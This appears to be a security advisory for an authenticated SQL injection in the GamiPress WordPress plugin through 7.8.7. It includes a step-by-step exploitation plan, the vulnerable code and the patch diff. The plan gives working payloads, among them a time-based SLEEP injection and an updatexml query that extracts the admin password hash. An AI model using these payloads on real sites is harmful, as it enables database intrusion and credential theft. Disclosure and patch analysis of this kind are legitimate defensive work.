GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress <= 7.8.7 - Authenticated (Subscriber+) SQL Injection
Description
The GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.8.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v7.8.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-48874 (GamiPress SQL Injection) This plan outlines the steps to verify and exploit a Subscriber-level SQL Injection vulnerability in the GamiPress plugin (version <= 7.8.7). ## 1. Vulnerability Summary The GamiPress plugin utilizes a custom table system (und…
Show full research plan
Exploitation Research Plan - CVE-2026-48874 (GamiPress SQL Injection)
This plan outlines the steps to verify and exploit a Subscriber-level SQL Injection vulnerability in the GamiPress plugin (version <= 7.8.7).
1. Vulnerability Summary
The GamiPress plugin utilizes a custom table system (under libraries/ct/) to manage logs and user earnings. The vulnerability exists in the query filtering logic for these tables, specifically within the gamipress_user_earnings_query_where function in includes/custom-tables/user-earnings.php.
The function fails to use wpdb->prepare() when constructing the WHERE clause for the parent_post_type parameter. Instead, it relies on sanitize_text_field(), which does not escape single quotes, and directly concatenates the user-supplied values into the SQL query string.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
gamipress_get_table_data(Inferred action for theCT_Ajax_List_Tablesystem used by GamiPress) orgamipress_get_user_earnings(Inferred). - Vulnerable Parameter:
parent_post_type(as an array) - Authentication: Authenticated, Subscriber level or higher.
- Preconditions: The attacker must be logged in as a Subscriber and obtain a valid nonce from the
gamipress_admin_functionslocalized script object.
3. Code Flow
- Entry Point: A Subscriber triggers an AJAX request to load their "Earnings" list.
- AJAX Handler: The request is routed to a handler that utilizes the
CT_Queryclass to fetch data from thegamipress_user_earningstable. - Filter Trigger: The
CT_Queryclass applies thect_query_wherefilter. - Vulnerable Sink:
gamipress_user_earnings_query_where(inincludes/custom-tables/user-earnings.php) is called. - Logic:
- The code checks
if( isset( $qv['parent_post_type'] ) ). - If
parent_post_typeis an array, it performs:$parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] ); $parent_post_type = "'" . implode( "', '", $parent_post_type ) . "'"; $where .= " OR ppt.meta_value IN ( {$parent_post_type} )";
- The code checks
- Injection: Since
sanitize_text_fielddoesn't escape', an element likea') OR (SELECT 1 FROM (SELECT SLEEP(5))a) --breaks out of theINclause and executes arbitrary SQL.
4. Nonce Acquisition Strategy
The GamiPress plugin localizes nonces into the gamipress_admin_functions JavaScript object.
- Shortcode Setup: The
[gamipress_earnings]shortcode enqueues the necessary scripts and localizes the nonce. - Page Creation: Use WP-CLI to create a page containing this shortcode.
- Navigation: Navigate to this page as a Subscriber user.
- Extraction: Use
browser_evalto extract the nonce:window.gamipress_admin_functions?.nonce
5. Exploitation Strategy
Step 1: Authentication & Nonce Extraction
Login as a subscriber and visit the page created in the setup phase to grab the nonce.
Step 2: Time-Based SQL Injection
Send an AJAX request to admin-ajax.php with the malicious payload.
- Tool:
http_request - Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:gamipress_get_table_data(If this fails, tryct_ajax_get_table_dataorgamipress_get_user_earnings)nonce:[EXTRACTED_NONCE]table:gamipress_user_earningsparent_post_type[]:a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) --
Step 3: Verification
Monitor the response time. A delay of ~5 seconds confirms the injection.
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Landing Page:
wp post create --post_type=page --post_title="My Earnings" --post_status=publish --post_content='[gamipress_earnings]' - Generate Sample Data (Optional):
GamiPress needs some data in the custom tables for queries to process normally, though the injection should trigger regardless of results if the JOIN condition (ppt) is met by providing the parameter.
7. Expected Results
- Success: The HTTP request takes significantly longer than usual (5+ seconds).
- Failure: The request returns immediately with a
0,-1, or a JSON error indicating an invalid nonce or unauthorized action.
8. Verification Steps
After the http_request finishes, check the execution logs:
- Verify the elapsed time of the malicious request.
- If
WP_DEBUGis enabled, check/wp-content/debug.logfor SQL syntax errors which might reveal the final constructed query.
9. Alternative Approaches
Error-Based Injection
If the plugin or environment displays database errors, use updatexml to extract data:
- Payload:
a') OR updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) --
Target: Logs Table
A similar vulnerability likely exists in includes/custom-tables/logs.php. If the earnings table is restricted, try the logs table:
- Action:
gamipress_get_table_data - Table:
gamipress_logs - Vulnerable Parameter:
typeoraccess(Check ifgamipress_custom_table_wherefor strings is also missing preparation).
Summary
The GamiPress plugin for WordPress is vulnerable to authenticated SQL Injection via the 'parent_post_type' parameter in the user earnings query logic. This occurs because the plugin uses sanitize_text_field()—which does not escape single quotes—and directly concatenates user input into a WHERE clause without using the $wpdb->prepare() method.
Vulnerable Code
// includes/custom-tables/user-earnings.php:221 // Parent post type if( isset( $qv['parent_post_type'] ) && ! empty( $qv['parent_post_type'] ) ) { if( is_array( $qv['parent_post_type'] ) ) { // Sanitize $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] ); $parent_post_type = "'" . implode( "', '", $parent_post_type ) . "'"; $where .= " OR ppt.meta_value IN ( {$parent_post_type} )"; } else { // Sanitize $parent_post_type = sanitize_text_field( $qv['parent_post_type'] ); $where .= " OR ppt.meta_value = '{$parent_post_type}'"; } }
Security Fix
@@ -224,11 +224,14 @@ if( is_array( $qv['parent_post_type'] ) ) { // Sanitize - $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] ); + $parent_post_type = array_map( 'sanitize_text_field', $qv['parent_post_type'] ); + $parent_post_type = array_map( 'esc_sql', $parent_post_type ); $parent_post_type = "'" . implode( "', '", $parent_post_type ) . "'"; $where .= " OR ppt.meta_value IN ( {$parent_post_type} )"; } else { // Sanitize - $parent_post_type = sanitize_text_field( $qv['parent_post_type'] ); - $where .= " OR ppt.meta_value = '{$parent_post_type}'"; + $parent_post_type = sanitize_text_field( $qv['parent_post_type'] ); + $where .= $wpdb->prepare( " OR ppt.meta_value = %s", $parent_post_type ); } }
Exploit Outline
The exploit target is the GamiPress AJAX table loader. To execute the attack, an authenticated user (Subscriber or higher) must: 1. Retrieve a valid GamiPress AJAX nonce, which is typically localized in the 'gamipress_admin_functions' JavaScript object on pages containing GamiPress shortcodes like [gamipress_earnings]. 2. Send a POST request to /wp-admin/admin-ajax.php using the 'gamipress_get_table_data' action. 3. Supply the 'parent_post_type' parameter as an array containing a payload that breaks out of the SQL IN clause, such as: a') OR (SELECT 1 FROM (SELECT SLEEP(5))a) -- . 4. The lack of escaping on the single quote in the array element allows the attacker to inject arbitrary SQL logic, which can be verified using time-based techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.